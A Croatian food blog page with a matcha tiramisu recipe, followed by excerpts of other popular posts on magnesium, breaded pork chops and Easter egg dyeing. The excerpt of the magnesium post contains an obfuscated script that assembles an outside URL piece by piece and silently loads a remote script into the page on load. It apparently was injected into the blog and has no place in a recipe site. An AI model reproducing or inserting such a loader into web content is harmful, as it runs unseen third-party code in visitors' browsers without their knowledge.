MATCHAMISU




Matchamisu 



Ako volite tiramisu, ali ste već pomalo zasitili klasične verzije s kavom i kakaom, vrijeme je da probate njegovu zelenu verziju s matchom. Matcha tiramisu u posljednje se vrijeme nametnuo kao jedan od najzanimljivijih načina pripreme ovog popularnog talijanskog deserta, a osim što izgleda odlično na fotografijama, osvaja i ljubitelje nešto drugačijih okusa.




Matchamisu 


Sastojci:

Za kremu:

  • 500 g mascarponea
  • 3 jaja
  • 80 g šećera
  • 1 žličica ekstrakta vanilije
  • 200 ml slatkog vrhnja

Za matcha umak:

  • 2 žličice matcha praha
  • 250 ml tople vode
  • 1 žlica šećera

Za slaganje:

  • 200–250 g piškota
  • 1–2 žličice matcha praha za posipanje



Priprema:

Najprije pripremite matchu. Matcha prah stavite u zdjelicu, dodajte šećer i prelijte toplom vodom. Dobro promiješajte pjenjačom kako ne bi ostale grudice pa ostavite sa strane da se malo ohladi. Za kremu odvojite žumanjke od bjelanjaka. Žumanjke izmiksajte sa šećerom dok ne dobijete svijetlu i pjenastu smjesu. Dodajte mascarpone i ekstrakt vanilije pa kratko izmiksajte dok se sve ne sjedini.

U zasebnoj posudi istucite slatko vrhnje u čvrsti šlag pa ga nježno umiješajte u mascarpone kremu. Bjelanjke možete posebno istući u čvrsti snijeg i lagano ih špatulom umiješati u kremu kako bi bila još prozračnija. Sada slijedi slaganje. Piškote kratko umočite u pripremljenu matchu. Nemojte ih ostavljati predugo u tekućini jer bi se mogle raspasti.

Posložite ih na dno posude, zatim dodajte sloj mascarpone kreme. Ponovite postupak – još jedan sloj piškota i još jedan sloj kreme. Površinu zagladite, pokrijte i stavite u hladnjak na najmanje četiri sata, a idealno preko noći. Neposredno prije posluživanja tiramisu obilno pospite matcha prahom.


Mali trik za savršen matcha tiramisu

Kod ovog recepta najvažnije je koristiti kvalitetnu matchu jer će upravo ona odrediti okus deserta. Ako želite blaži okus, krenite s manjom količinom matcha praha, dok će veća količina dati intenzivniji, zemljastiji okus i izraženiju zelenu boju.

Ako želite potpuno izbjeći sirova jaja, kremu možete napraviti i bez njih – jednostavno pomiješajte mascarpone sa šećerom, vanilijom i tučenim slatkim vrhnjem. Dobit ćete jednako kremast i vrlo jednostavan desert.



Pripremila: Ivana Matas 





Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više